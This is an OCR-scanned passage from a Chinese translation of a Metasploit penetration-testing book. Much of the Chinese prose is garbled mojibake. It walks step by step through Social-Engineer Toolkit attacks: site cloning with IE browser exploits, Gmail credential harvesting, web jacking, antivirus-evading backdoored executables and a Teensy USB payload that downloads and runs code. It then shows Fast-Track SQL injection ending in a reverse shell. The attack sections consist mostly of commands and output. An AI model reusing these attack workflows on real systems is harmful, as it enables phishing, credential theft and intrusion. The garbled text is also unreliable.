Javaapplet, i/ H] Metasploit PEETIAMNE FigiBEANE, KN BRAGELRET. EFH
BB, FRAMATHTRERENEBREREPFEEEATRERNRFA, XH 7R
HiEE Oday Hifi: HE—AN4H I 0day iAERZEE BT Metasploit #, 23T LAE
JL g BERT LA R SET T SR AT T .

HXF AP, BIBESZ PR EEER, BERIEERE S WS, BPREE
EREI B AR R . SET 94X B BEGRAR RSN IE RIK ), 2998, &3 Firefox
MR RNBE AT, RS> HNHAEEESNTZ. FEXAReS, B ERA YR xR
7 Google ) Aurora Bz & . FFHRFrE, FMAMT M4

root@bt : /pentest/exploits/set# ./set

Select from the menu:

@ 2. Website Attack Vectors
Enter your choice: 2

® 2. The Metaspleoit Browser Exploit Method

Enter your choice {(press enter for default): 2

[!] Website Attack Vectors [!]
© 2. S5ite Cloner

Enter number (1-4): 2
SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com
@ Enter the url to clone: http://www.secmaniac.com
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fE SET A FEF Web ¥k rRO, 2 /5% Metasploit ¥Rt HiEO. # —F
AT R EETO, FARBETENMME hip:/www.sememaniac.com® . — By E,
WAV HBRA A A e Bl & F RS E .

Enter the browser exploit you would like to use

© 16. Microsoft Internet Explorer "Aurora’

Enter your choice {1-23) (enter for detfault): 16
What payload do you want to generate:

Name : Description:

2. Windows Reverse TCP Meterpreter Spawn a meterpreter shell on wictim and send
back to attacker.

® Enter choice (example 1-10) (Enter for default):
Enter the port to use for the reverse {enter for default):

[*] Cloning the website: http://www.secmaniac.com

[*] This could take a little bit...

[*] Injecting iframes into cloned website for MSF Attack....
[*] Malicious iframe injection successful...crafting payload.
[*] Launching MSF Listenex...

[*] This may take a few to Load MSF, ..

resource (src/program_junk/meta_config)> exploit -j
[*] Expleit running as background job.

mst exploit{ms10 002 aurora} »

[*] Started reverse handler on 10,10.1.112:443

[*] Using URL: http://0.0.0.0:8080/

[*] Local IP: http:// 10.10.1.112:8080/

[*] Server started.

M REE A NE P WA SRR, RESTRENEGEENE. HiE LER, &
fHEFEE LR IE Aurora RINBBRLO,. R ZDEO4§ HBIAN Meterpreter & ¥ T 8
fe7 T AL B E TR -

2 H SRR B hap:iwwwsecmaniac.com B, MREMIEY, E£%EKF L, BHRRKZCLE
HAER Ciframe) FEAREH] TETEHL. SET HEUNTEM BT Tk, ET — MR WAY
FERMAME, kLR WmEGE.

B HEH L, REEFSZRBEECESAIIT . Meterpreter )\ BBV GHL R FZHIEES
HE&2gy, BisseBEHBirEd. B THRx:
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msf exploit({handler) »
[*¥] Sending stage (748032 bytes) to 10.10.1.102
[*] Meterpreter session 1 opened (10.10.1.112:443 -> 10,.10.1.102:58412)

mst expleoit{handler) > sessions -i 1
(*] Starting interaction with 1...

shellmeterpreter » shell

Process 2819 created,

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
{C} Copyright 1985-2001 Micresoft Corp.

C:\Decuments and SettingsMAdministrator\Desktop:

10.3.3 RPRAFELGREY

EWTABTF, RAIHERRERT REIHAZHIE. SET $8)- -MEXTBRH AT
RER, EANAEREMITKNINGE, MELRSEREZMITA MNEESER. EF—MT
P, SET #5EE Gmail MERF M, FiEEE POST ik, %IEE2 POST 3| SET #HEM
M AR 38 FEITOE, MEBREEM Ak k.

@ 3. Credential Harvester Attack Method

Enter your choice (press enter for default): 3
[1] Website Attack Vectors [1]

& 2. Site (loner
Enter number (1-4}: 2

Email harvester will allow you to utilize the clone capabilities within SET

to harvest credentials or parameters from a website as well as place them into
a report.

SET supports both HTTP and HTTPS
Example: http://www.thisisatakesite.com
© Enter the url to clone: http://www.secmaniac.com

Press {return} to continue.

[*] Sccial-Engineer Toolkit C(redential Harvester Attack

[¥] Credential Harvester is rumning on port 80

[*] Information will be displayed to you as it arrives below:
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L T Web B [ ROANBEBMHLEFRIERE, EREMAKRLNO. XMEHEHE
MERERFD, NFERGRECERN MR URL (htp:/www.secmaniac.com) ©H AT SET
H, BRENAFELEFTEREKE,

MERFHSTHEFBEMENE. ENWEHARAN, R UEZXMHEMN T ITH Web
K& (WEBATTACK_CONFIG=0ON), [HF} SET &R 25 & EE &k 084k ik B
br R . — A Gmall BRAE- - YA HESEREAEH TN X8HH
PWACHEEE, MIlsasEER P FEKERER Gmail T, ARUTREBHEERE
BWdiE.

10.10.1.102 - - "“GET / HTTP/1.1" 200 -

[*] WE GOT A HIT! Printing the output:

PARAM: ltmpl=default

PARAM: ltmplcache=2

PARAM: continue=https://mail.google.com/mail/?

PARAM: service=mail

PARAM: rm=false

PARAM: dsh=-1174166214807618980

PARAM: ltmpl=default

PARAM: 1tmpl=default

PARAM: s(c=1

PARAM: s5=1

PARAM: GALX=S53FtXFIwwQE

POSSIBLE USERNAME FIELD FOUND: Email-ihazomgsecurity2390239203
POSSIBLE PASSWORD FIELD FOUND: Passwd=thisisacomplexp@sswoxd!!!!l
PARAM: rmShown=1

PARAM: signIn=Sign+in

PARAM: asts=

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT,

SET fFH— MR ERKIFRSE AP EFEREANERRATEANSE., FEREa ki
VEBENRA A ZREERSY, IHFFTURENGEFXSEHEBEENEBER.

—BARERE T % B RBURF B3R, M CTRL-C £ —4 e, Wil 10-3 B, WG
fE£ A XML 1 HTML &3,

SET Frit B A Web RE [ A BLRY, LR KERNIER. Y REEBHFENT LB
LI F GRS, SET & HARIREREFERER 5 A, MLk —PaliEsiR s .

FEFMTLIERRNSUEHFERFHR XML KA, UENGHFAZH T BMirEs.
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Weloars 1o Hpe Sog gk Enaeer froslk © Beps 0 Dielee e Tl W ocrsan !t SRt ot gt '
LTI LR T /S B LR T A [ o [ e T e B N A I I LU L BUE
4 L Y - T L R B T L A e T H T et

SIE T f'll-;'Fl"'-‘l'-'l*; I L T Y O L R T L T o S B o I

b ot el G b A S The st ot +h

1 .
MR VRO ST T S B e T A L B - TRRPEL T LN - P ] IR el

R R T R T I R - B L A M R P TR I SL) BT T PRI |

L TR | ILTRT AR IR TR N TR B R e UL PO LT B B

Report Scatistics

Thea creganttat harvester keeps track of how many wdivideals wisited a sits ang these who actually fell for the sttack, A
tatay numtber of O indtvidoals wisited the sice. Based on the tata: number of O visitors, there was a total mumber of 1 wietims

that successiutly Fell for the attach.

Repor t Fuwdtrgs Below:

| 10-3 SURE RS

10.3.4 HFREFUHFVE

B KRR SHERTHET, HEAAENESTITALMrER, EHHRIMGERN
SRR, SfAhTRPH—MESHEN, NITHREI “AHEEERE, H5H-"
MRTHE TMABGAFREFERR, FEMIRNAESBUEBR B —MIEN,
FEEIWRM, HHEAPRy “iFSFN" EEE R HRR PR ERIEE.

fr.b, BiRRPEBEEM A S - EERENNaRERE, HHEMEED
[F] SiE 0T E-mail A EOISNMA, HFHERETER, IMEZ M VEBREAHGM TP
AMEBIBUERE B ZE, HaWEERZESEME, EEAFAANSBRFEERSM I mARNE
HUMEEIE . ARETLLEIT SET B Web I T [ B £ N RS U FREEA.

10.3.5 g ATEH

) A AT A HTTP referer HLH A — P EZHBIRIM 3, BRIABMBAERR (XSS,
¥ B AR BURS BAR RS G A HTTP fRE28. MBERER T —1MENRAERERE, Ris
RIZGHEAEFITE URL £ BRI, MRS REZ8ELS, WRIEFEIT, EEIHF
AP a8x3EANREN, MASRERERNefRaslhdE. PAARGMETLE SET #
Web HLii7 [l B ¥ L 4k 3.
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10.3.6 MTIEhE

M) & SET 07 AR — T ohae. BAVMRAIR M TOREMMIS, RS
— AN AR OSBRI ERRIRGHERS . SEER W R ZEEN
%, BEARMNEE®EMKN URL, MAREABGERMEEN URL., #liN: BWHHFwERHL
https://gmail.com. 4 B ERArMLEZ URL LR, E-01E R 2 https:/gmail.com,
R 4t 1% URL MIBT{8, Gmail BN TR E# LR EHF SR Web RS BEITE.

XHEERA TRTHEMERZRER, SEHEH P ERFENE URL £, HEFMR
BIEMREFETERNGiEME ., ZEMADT URL B, FEtiEEs%, FEHERARANERT
FH 7 vl B Pt 30T B di . T 3 0 LLIE S 1% configdser config ¥ TR B0 Web 2hEFRT R )
INf 1] .

BT AR RN S SET, & 2i%#% Web Jacking Attack Method @] Site Cloner®, [7]
NS R B ARE T REFIPI N, hups:/gmail.com®, 1T .

©® 6. Web Jacking Attack Method
Enter your choice {press enter for default): 6
[!] Website Attack Vectors [!]
® 2, 5ite Cloner
Enter number (1-4): 2
SET suppoxts both HTTP and HTTPS

Example: http://www.thisisafakesite.com
® Enter the url to clone: https://gmail.com

[*] Cloning the website: https://gmail.com
[*] This could take a little bit...

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] 1 have read the above message. [*]

Press {return} to continue,

[*] Web Jacking Attack Vector is Enabled...Victim needs to click the link.

H[EBAH VR R ERM TR &, fREImE 104 FrissE, EEEETAK URL
B B2 hitps.//gmail.com
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S e e S

Ouu - O A BO ey B X570 D
e e b m. wa, W

I e wite hitps:f/gmall.com gﬂi mas el clivk heve o oo ro the new locadion.

I 10-4 BEhTEAFE R RN A

BB SRR R, B4 BRI M R0 n B 10-5 s IR Gmail XRIE R H
—H-— R SR T

P B gem ger Eebews [ e

TlF C X 2 Wz uxooee-

el Fowlenl o sk il
1+t el il e Gyl |

A Goophes approdch Lo email g i Wi
o -2 il o e i B el 0 e S s plcmnl e well Aull mavie en A bl Clnl taik Conngle AL
"l Hem——
Lok il et .
Cwp P BTG mapeieek (i G o e S il i
) Faypyn] .
Lok B ] "N =
- g urrwmrded mm ek e H R
Bl L CELICANY S s
Gl G wn e it g LA S
o b Camad® iy v el -
N A -l

OH| Gl i ke Lema b Feesr Hol

B 10-5 TEREH) Gmail BT E

FEEIZEE 10-5 LT BRHT URL 85 T RAMK Web B35l HRERTEP, HH
S — /MR, DB S A MENR L. —BERRAEHEAERA T2
MO4, REEERANRERIBERNPNEREET.
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10.3.7 EFEEBEWEHEHZE

FEERH R EAFRGEESF R RS FEBRER, T -KEEBGE. ERNFH
FEREHAANFNE G HE, FE—MEEREEN Web MEREHE G, SHFERS Al
gfE, EHERGE TR G REREY HR#iTHEG. 2RRGARAEFERTRN, &
—{F LT, Java applet BUiE AT REA N BT, EREE ) 5iHY IE Y A2 Z B mI e R BX
A Java applet A F RN IE P S5 M th A akh, B8RS BHTHU L HEB AT »

7 FTHEE T, Bd#A#E A Java applet Bldi, Metasploit 2 F imi#ii Wy, PAEMUIE)
FRiE. YEAAPNEINESRTN, fhiaagis| SdX 8%, REE Java applet BT,
Metasploit 2/ #5818 B0 PUS P W B B o 2 | e VB R s HAn . iIX B EA L+ IE7
KPP BER S, FIEEHAER [Ee (ESETHRE, RERTE—-MEAGREBEMSHT, K
At T T 7 i AL L AT R Th H] -

. The Java Applet Attack Method

. The Metasploit Browser Exploit Method
. Credential Harvester Attack Method

. Tabnabbing Attack Method

. Man Left in the Middle Attack Method
. Web Jacking Attack Methed
Multi-Attack Web Method

. Return to the previous menu

T ™=l W e W R

Enter your choice (press enter for default): 7
[!] Website Attack Vecters [!]

® 2. Site Cloner
Enter number {1-4}: 2

© Enter the url to clone: https://gmail.com
Select which attacks you want to use:

. The Java Applet Attack Method (OFF)

The Metaspleit Browser Exploit Method (OFF)

. Credential Harvester Attack Method {OFF)

. Tabnabbing Attack Method (OFF)

. Man Left in the Middle Attack Method {OFF)

. Web Jacking Attack Method (CFF)

. Use them all - A.K.A. 'Tactical Nuke'

. I'm finished and want to proceed with the attack.
. Return to main menu.

mmummhwr&p

Enter your choice one at a time (hit 8 or enter to launch): 1
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Turning the Java Applet Attack Vector to ON

Select which attacks you want to use:

Enter your choice one at a time (hit 8 or enter to launch}: 2
Turning the Metasploit Client Side Attack Vector to ON
Option added. Press {return} to add or prepare your next attack.

Select which attacks you want to use:

Enter your choice one at a time (hit 8 or enter to launch): 6
Turning the Web Jacking Attack Vector to ON

Select which attacks you want to use:

- - « SNIP, . .

Enter your choice one at a time (hit 8 or enter to launch):

FeGme B B AL, X% Multi-Attack Web Method®, 2 5% Site Cloner®,
FH A E T ER MY URL: hups:/gmail.com®: BRJ5, SET PR NP FE B F A e,
iEFE Java applet B il7®. Metasploit & P REFNHO, DLERENSRHHEO. Rl
LA FEi%E 0 7—Use them all - A.K.A. ‘Tactical Nuke', ¥ 8 &H1# 5 BT 4 W2tk 0 Bk 17 B

ETHR, BFEEMHACLERESER, Java applet Bl . Metasploit 2% S B ERdr. MR
MFFuE, URSEEGEBERRUEGMOCETE, REHTEIBA enter B FE KT 8 (— 5
55

Enter your choice one at a time (hit 8 or enter to launch):
What payload do you want to generate:

Name : Description:

@ 2. Windows Reverse TCP Meterpreter Spawn a meterpreter shell on victim and send
back to attacker.

Enter choice (hit enter for default):
Below is a list of encodings to try and bypass AV,
select one of the below, 'backdoored executable® is typically the best,

® 16, Backdoored Executable (BEST)
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Enter your choice {enter for default):
[-] Enter the PORT of the listener (enter for default):

[-] Backdooring a legit executable to bypass Anti-virus. Wait a few seconds...
[-] Backdoor completed successfully. Payload is now hidden within a legit executable.

S 00 s e o ol R S R O it ol sk e e 20 0K e i ke ol ok I e O D0 i ok e e ol ke e e e o e e ok o A ke e i o ol 3 o O Ok e

Do you want to create a Linux/0SX reverse tcp payload
in the Java Applet attack as well?

e I S R R R R P s e L T

© Enter choice yes or no: no
Enter the browser exploit you would like to use

© 3. Internet Explorer 7 Uninitialized Memory Corruption {MS09-002)
Enter your choice {1-12) (enter for default): 8

[*] Cloning the website: https://gmail.com

[*] This could take a little bit...

[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: x5skAzS

[*] Malicious java applet website prepped for deployment

[*¥] Injecting iframes into cloned website for MSF Attack....
[*] Malicious iframe injection successful...crafting payload.

resource (src/program_junk/meta_config)> exploit -j
[*] Expleit runmimg as background job.

msf exploit(ms09_002_memory_corruption) »

[*] Started reverse handler on 172.16.32.129:443
[*] Using URL: http://0.0.0.0:8080/

[*] Local IP: http://172.16.32.129:8080/

(*] Server started.

BT ERG SRS, ERFEEREKIND Meterpreter R BRBEHBEHO. LIRS
WKIEHBR KIS 0. AEAE Linux 1 OS X MG R5 0. EHE &SR difRimEmR
2 /& Internet Explorer 7 Uninitialized Memory Corruption (MS09-002)0, 2.f5 SET ¥ &2 X .

—BREFHET, #AUBEFREMRERER, — P URLGESRAHFHNNHFMRES
BB HALM Ty, B 10-4 BoX T HisH PRI ESEPHFERSINGER .

R G, Metasploit Ith &84T, THAESR S — BTN

{*] Sending Internet Explorer 7 CFunctionPointer Uninitialized Memory
Corruption to 172.16.32.131:132%...

XKEBBGERKT, BARMMEFARE 186 AR, XA EhER 2
FH A 10-6 FrRFER.
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106 ZERHMHRERRHE

RITEH ZANOSEHE, BrsAEEIT T &N Java applet, - -~ Meterpreter shell 74
EAT, RIS EARRE 4 ESE R BIIEH A Gmail M, ZRHEHHEINT .

B P{EH Java applet B}, R4S BEHE Meterpreter L5231 3| notepad exe 1, X8+, Rl
EASHEAXATRNSE, BINBALSERDBFREAXATE L Meterpreter shell. FINY, B
T DAZERC B 3 {1 R “Java Repeater” SETR, XEEMBH /A T RHBAER T, &M A
LLit Java applet B RIEREMAY, SHETLLLHSENELEFR[TIETHE.

EBBEBRFRINZIS, Meterpreter shell ¥ K3 [713% 3 BAERNEE, W FHT:

[*] Sending stage (748544 bytes) to 172,16.32.131

[*] Meterpreter session 1 opened (172.16.32.129:443 -> 172.16.32.131:1333) at
Thu Sep 09 12:33:20 -0400 2010

[*] Session ID 1 {172.16.32.129:443 -» 172.16.32.131:1333) processing
InitialAutoRunScript 'migrate -f°

] Current server process: java.exe (824)
] Spawning a notepad.exe host process...
] Migrating into process ID 3044

] New server process: notepad.exe (3044)
f exploit(ms0$ 002 memery corruption} >

x

b
>
*

[
|
[
[
m

5

I7E, B RERENE kM, WA HFHPY Java applet ¥ E T BHE (&H
AAREEIRHNET) . HEHAE T SEREREFGANEFH A 2 NEGE. LEFRIA
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PLACE BRI R H AR VRS B MR E rliiaR. BT Hixl A RTiiE1T Java applet, 1X
FHT BAVE LT — A Meterpreter shell, BT CIEERIE P KEELE B

{*] WE GOT A HIT! Printing the ocutput:

POSSIBLE USERNAME FIELD FOUND: Email=thisismyusername
POSSIBLE PASSWORD FIELD FOUND: Passwd=thisismypassword

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPDRT.

IEMRTE DT 0= P EFE B M JCEE, SET TRETIRME T AR HINEER A K Web s T
H. REFEMERARBBENE - RENRESEN, BERXEHENEFELENSE
BEHE A, WEBRSHEMTIRARBR WY, RN RN RN R XSEBTEL
2B MES . SET ot BB it S 07 BB i M Bl @t & ] 1 X MR, X T ERE T G0N
e ENPRIE R A R

10.4 R ERSE S

f B vh A A B A R — MR T B R e i M, RADIX M BB, SET I — ARk, IR
o] LA 4551 $] CD/DVD Sed b, S AFAE S USB WKz |, — BiXS i m A A R H
FREVLE, Autoruninf XA SEHE Ba1NE, HIET autorun.inf R EEFMEER L.
BT, SET ZEINETIITI0H (Flim: Meterpreter), RN BB ABHEBNE (F)
in adobe FmAMTE ).

10.5 Teensy USB HID i@

Teensy USB HID ( AMLEE L4 Hih R 2 e Hl4b B4 R0 o il e bR 4 B b
ARHEERAE. WNEZEBEX KRG, VERERRFEHA—K CD/DVD Y8, #:F- - USB i
%, WERHINBRFECHEGE, autoruninf CARARE EENHATIREXEFEHEN P ESHE
RIHF. R, FIAH Teensy USB HID, {REESHEAIH —TREMBR, JHRBARXZEHE
mf, B RAE- MR, FAAGUEEE RN FEEE, Rl —ARGHs
HEmENL, #mEE2AE HEEN, AL BIEREE TR AT EUN htp:/rwww.prie.com/
v IR F ST Teensy USBHID MRS 2.

FAMER Teensy USB HID RHAT- - Metasploit AWM T EH. £ THAHRTH, i
RS — pEB WSeript IR, EHAFRIVLTEFFATBHEMN LM, RV R SE T
SET Kik B M BGLHIAR

Selact from the menu:

@ 6. Teensy USB HID Attack Vector

Enter your choice: &
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Welcome to the Teensy HID Attack Vector.
Special thanks to: IronGeek and WinFang
1, Powershell HTTP GET MSF Payload

® 2. WSCRIPT HTTP GET MSF Payload
3. Powershell based Reverse Shell
4. Return to the main menu.
Enter your choice: 2

® Dc you want to create a payload and listener yes or no: yes
What payload do youw want to penerate:
Name: Description:

- « « SNIP . . .

2. Windows Reverse TCP Meterpreter Spawn a meterpreter shell on victim and send
back to attacker,

@ Enter choice (hit enter for default):
Below is a list of encodings to try and bypass AV.
Select one of the below, 'backdoored executable’ is typically the best.
« » « SNIP . . .,
16. Backdoored Executable {BEST)

@ Enter your choice (enter for default):
[-] Enter the PORT of the listener (enter for default):

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
(-] Backdoor completed successfully. Payload is now hidden within a lepit executable

[*] PDE file created. You can get it under ’reports/teensy.pde’
[*] Be sure to select "Tools", "Board”, and "Teensy 2.0 (USB/KEYBOARD)" in Arduine
Press enter to continue.

[*] Launching MSF Listener...

resource {src/program junk/meta config)> exploit -j
[*] Exploit running as background job.

msf exploit(handler) >

[*] Started reverse handler on 0.0.0.0:443

[*] Starting the payload handler...

it H BB IR KL, EEL A XS Teensy USB HID Attack Vector®, .2 )5ik$F
WSCRIPT HTTP GET MSF Payload®., #5515 SET @ — GG W RmOO, Hik
FHBLA R Meterpreter LM ORRE HL@.
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M, FRERT- NGB pde HXH, WEETRAFEH Arduino #:0, ZEIFEALF T
O A LA R k4e1% pde X, F_EAEFIIREY Teensy W& .

Eatix B, FHEEK PIRC (b /rwwwpire.com’) 25 HE4, HAARBERITHE
HALfL%] TEENSY i USB S H R E. XARHEMREZLEBRFBER, I8HELE Teensy
HMAFREFHREE, Z2EIRESEE4 M Arduino  (Arduino/Teensy 3§ Linux. Mac OS X LA
X windows #{ERZFE) K IDE 0. R EEH)— o B IR EDH T I RIERE 3 Teensy USB
i/ . Wl 10-7 B

S uP Tools ——
Adto Format F 13
Archive Sketch

Fix Encoding & Peload
Serial Monitor XM

L A N RN K N B 4 3 R

I Lot A B! Teansy 1.0

—~ i - - ¥ v Teensy 2.0
£ . USE Type F  Teensy++ 1.0
T0 Activate  fhe, CMj Speed P Teensy++ 2.0
L ] "-— - Al'dl.liﬂ-ﬂ-u'l"lﬂ
Burn Bootloader g Arduing Duemilanove or Nano w/ ATmegal2E
“spipingleisenlsinlsininiyininisioilnislsinivvisiningd

Arduina Diecimila, Duemilanove, or Nano w/f ATmegalbi
Arduino Mega 2560

Ardumo Mega (ATmegal 288)

Arduma Mini

Arduina Fio

Arduino BT wf ATmegaild

Arduing 8T w ATmegalbs

LilyPad Arcuing w/ ATmegaldZg

LilyPad Arduino wi ATmegalbg

Arduina Pro or Pro Mini [5Y, 16 MHzl w/ ATmagai2B
Arduwing Pro or Pro Mind (5, 16 MHz] w/ ATmegaiol
Arduino Pro or Pro Mini {3.3V, 8 MHz) w/ ATrmegaiza
Ardurna Pro or Pro Mini {3 .3V, B MHz) w/ ATmegalEA
Mrduino NG or older wi/ ATmegales

MArduino NG or older wf ATmegal

Bl 10-7 ACH Teensy W&

—RE RS, BZETR pde XEHEAZ Arduino O 9, = B AR USB &3 L
B4R, XSRS SET £ RA{AIRERR—E. B 10-8 BR T EE HERH.

BHEEEME USB REFWAT BN, FaxBABHERIT, AEWTUES -1
Meterpreter shell;

[*] Sending stage (748544 bytes} to 172.16.32.131
[*] Meterpreter session 1 opened (172,16,32.129:443 -> 172.16.32.131:1333) at
Thu June 09 12:52:32 -0400 2010

[*] Session ID 1 (172.16.32.129:443 -> 172.16.32.131:1333) processing
InitialAuteRunScript ‘migrate -f'

[*] Current server process: java.exe (B24)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 3044

[*] New server process: notepad.exe {3044)
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YT

————— ——r— ——

UU@I-II

F wilk ok Tewrmsy Attas: o= :
I RLLE R -rww (P ik @2 30T bl e gl o F ol

Y
r.-n"'

T Y Teensy

] e S Ji'-'.i...-..-.-.

Y Toicbe DT b melmarahgli L oI

ey ORRSEFEL ,-' Aichn] v dh Crwrmrt ne sk L -0 coiizh RERsIp

"-\ -.--fﬂﬂ" * "h T Condm” Er”.fﬂ S . B . T ntth e
‘J’ihl % Chgrge prath Teas D0 b s Mimeg e b S Tina

ress tt it
Ta Activate

o cormri[4] = "DORT; . G0 ok change this
l rhol cosmondi[] = "powerstwel| -Command $olnt a new-pbjisct Systes.Met WebCtoent furle 'httpedsLol
a “NHOMERPATHE . .pe0e™;

1 eetuedd |
rie | oy {50087 ;

b e RS

oo iq {15800}

4orie PRy oo oot of|m

O COmmn 2 )

A g [ 200},
Kurhﬂﬂ:rd.!ﬂt_-udlﬂir{rﬂ][F]EﬁE‘r‘_m:ﬁ:
Keyboord . set_keyl (KEY_EMTER);
Eeyieorrd . vend_now (5
Eevbooid . 2ot _soclitier(A);

Kevbonrd . set_keyl(B):
Kanyheazd . sard_nom { 32

1 2 1 IDEREENA )

1
voud oo ) %

=i el type_this(cha *string)
{
ok cowrd, 1enghh;
langth = strien{string);
for{count = @ 3 count o Langth 3 Count+s )
1
char @ = sty ing[oount]; [
oact _input(oscil_cormirt(a)); F:

‘W 1 _J!’

10-8 Teensy H i f{id L&

10.6 SET RyH ¥ 1%

BATATEEZE A BB SET TRABRNEZNMFHMEHESEE, (B2 SET i —EAE %
HITheedrfE:, Hobhr —{8 R SET RI3E B K shell: %38 B 3\, shell A] EA# #: Meterpreter 4E g — 4
Wik iT. 75— MER RATTE (Tommy MURFPEEHE LH): —H Thomas Werth £/ K13 T
HTTP BEEBHE AT, 8T HTTP 8GR, HFAHATHE IR HEER. HJEF
ENERH REERNEE ATTP FEBETEHRAT, RATTE MEBIEFHH T, RATTE &
{#£H blowfish BE:3RHE4T HTTP $hil E#) & @ E.

KAt T B SET £ Web BERM (—1EREK Web MHBHERF, #8 A3
EiRitieM B did 8) MALBdmE. BEET SET i) Web B R, R EE SET MR
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Hax T8 /set-web B 7] . SET §J Web EJZ A H 2 B Python 3EXLA), M HE —#IEHERMNK
BT AN . TERBGREEHBRENLOE T —TRENEER S (AP), —BRIRIHY
iz aR, BMRAPHNEMREDESEEE BB YL, SEEMTUEEREN L
N SET I HFTERE M TS (Fii0 Java Applet Wi B E SR E R EE).

10.7 1h\&5

& Metasploit - -¥f, SET th{iR#EH# —PRBIP, LMK LA T SET KfEHFuit
—Z BRI, FR SRR SET DIREM AR, CMEH IR/ ENRA. M, #2
TREZBHA LRSS, B UUNAZX ] 5 29 2 vt Q1T 0 E R4 TR 2220 fl A
PFA .

B4, ALPEAENRELRE SHRGEAEHMEE, SANHRKZERREH
FEFRE. R, AIVMEGEZ T B E A FITRIE, A7 T EIETIFR
W] SR RBE G NS . T REPRERERTINER, Hit—MgeilREEmE,. R
Bl E5r A BN R TEEMMRARES AR HITHOME. -MMERNAEESTE
JLABT @R B AR, T 7 facebook BE twitter FEREFMEMEA, HREHLER
ATLAR 3| B AR P A X T, XEMBERARGT TAZEEEEMEA T,

MR SET 2N TANREERLIERFHR, HEMEN N Mo UKBENRY, ki
EidtE, RIEARRABRTOF HANRESNEESRRIIEE) . SET T LB H %,
BREE, WRMREKT, REMEEHTHRE CEHZ ERPGIEEEES.
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Fast-Track

Fast-Track &2 — 1% F Python FWHE LR, TM7T ~EF BEMRFEFRITEAR.
Fast-Track 1 H] Metasploit BEZLRH TR E A RIAEA , R AT RUE L 28 7 ¥ [6) B 3R 38 VR 5
i, Bz 4h, EEEn T —EiS 4 Metasploit F4TRM3E, B Microsoft SQL X, &
£@E R X 33010 3 W 2 P o . Fast-Track B Dave Kennedy /)3, Andrew Weidenhamer.
John Melvin 3 Scott White XJ Fast-Track ARH Fi#it, H Y Fast-Track B Joey Furr (j0fer)if 1T 4
FRIEH.

Fast-Track {24t T A EEAMHEAERED. EFAXERA, W FIET. fast-track.py -i
(5{#F SET MAERLED, BiTse#E T MEEmRFEs, ReJUH dmEERHER, Hiss
HR, XEERPBALSE (R LT Aast-track.py -g - I8 FH Web -1 ).



Metasploit H3%Ri% 15 B

oot@btd:/pentest/exploits/fasttrack# ./fast-track.py -i

FEEFEFEEEEREEE AR LN RN AR RN R ok Rk kO e ok

tr¥¥x** Performing dependency checks... *Fkkdxs
S5 o e S o e ok o o N R 3 o s ok ok kol K e ok sk ok ok ok ko e e

**¥ FreaTD5 and PYMMSOL are installed. (Check) ***
¥*¥ PExpect is dinstalled. (Check) ***

*#% (lientForm is installed. (Check) ***

*** Psyce 1s installed. (Check) *=**

*¥¥* Beautiful Soup is installed. {Check) **=*

¥ pyMills is installed. (Check) ***

Also ensure ProFTP, WinEXE, and SQLite3 is installed from
the Updates/Installation menu.

Your system has all reguirements needed to rum Fast-Tracki
Fast-Track Main Menu:

Fast-Track - Where it's 0K to finish in under 3 minutes...
Version: v4.0
Written by: David Kennedy (ReliK}

Fast-Track Updates
Autopwn Automation
Micresoft SQL Tools
Mass Client-Side Attack
Exploits
Binary to Hex Payload Converter
Payload Generater
Fast-Track Tutorials
Fast-Track Changelog

. Fast-Track Credits

. Exit

':ﬂ'ﬁ:"‘hlﬂ"l'l-ﬂ-hwh!l-‘

el
ko

Enter the number:

{RA] LAF 2| Fast-Track ERE FIEMEEFETHLXHR T RB ST E. EXF D, &
TTHEFH PP ERRETAAR. RIVEER - BEFAHNET;, B9 Microsoft SQL
Wi, EHEPE Autopwn FEIF N L T Metasploit i Autopwn Rt — R R FE R At A B
P5 1P Hiht, F TR L{ERE A Fast-Track BRFER T . WX R PILEE T —H Metasploit H#
B EGE .

11.1 Microsoft SQL ;EA

SQLYEAKH (SQLD) @it # A web M FERRFF o R & A FIENRR, ESQLEHT
MAERIESYRERD . —f£IFEHERSQLEWRFA R LAELI WebfR& BIBA I EEHIBE
Ry FFEBPEETFRAT o2 o Fast-Track [ LA AL L RIX —it 58, LISKBLEHSQLIE A,
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mAREES HEXEWeb AT EWIET L APOSTEE . THNPEHEETHRHEDS
N8 H bR M3 AEASQLIEARTR, RN tenEHEA AR 2H50WIREMY . HREREEHRE
HlT ZEEMS SQLIRE K Web R4 .

11.1.1 SQL FEFAN—FRIEHEH
M JE 8 i Microsoft SQL Tools FFEGEE B B, 25 EF MSSQL Injector®, 1T B

Pick a list of the tools from below:
@ 1. MSSQL Injector

2. MS50L Bruter

3. 3QLPwnage

Enter your choice : 1

BEAR SQL A AFRAEBAEHENFEER, MEX—FHBEENTTAIRHREREINMES
2% Fp URL #. URL PR E3ETHMNTE SN —BEHGEE, Fast-Track B EEWE
A2 ¥ P INAINJECTHERE, FRiRFIEEA, WTFR:

http://www.secmaniac., com/index.asp?1id="IN]JECTHEREAdate=2011

M Fast-Track FREEHRAER, MEBEREGT d 7RBMNME 2R, WkEW MR
W AT B . R TE N R — MRS B 2 e 1T

Enter which 5QL Injector you want to use

O 1. 5QL Injector
2. 50L Injector
3. SQL Injector
4. SQL Injector

Query String Parameter Attack

POST Parameter Attack

GET FTP Payload Attack

GET Manual Setup Binary Paylead Attack

!

Enter your choice: 1
- « SNIP . . .

Enter the URL of the susceptible site, remember to put "INJECTHERE for the
injectable parameter

Example:http://www.thisisafakesite.com/blah.aspx?id="INIECTHERE&password=blah

& Enter here: http://www.secmaniac,com/index.asp?id="INJECTHERE&date=2011
Sending initial request to enable xp_cmdshell if disabled...
Sending first portion of payload (1/4)...
Sending second portion of payload (2/4)...
Sending third portion of payload (3/4)...
Sending the last portion of the payload (4/4)...
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Running cleanup before executing the payload...

Running the payload on the server...Sending initial request te enable
xp_cmdshell if disabled...

Sending first portion of payload (1/3)...

Sending second portion of payload {(2/4)...

Sending third portion of payload (3/4)...

Sending the last portion of the payload (4/4)...

Running cleanup before executing the payload...

Running the payload on the server...

listening on [any] 4444 ...

connect to [10.211.55.130] from (UNKNOWN) [10.211,55.128] 1041
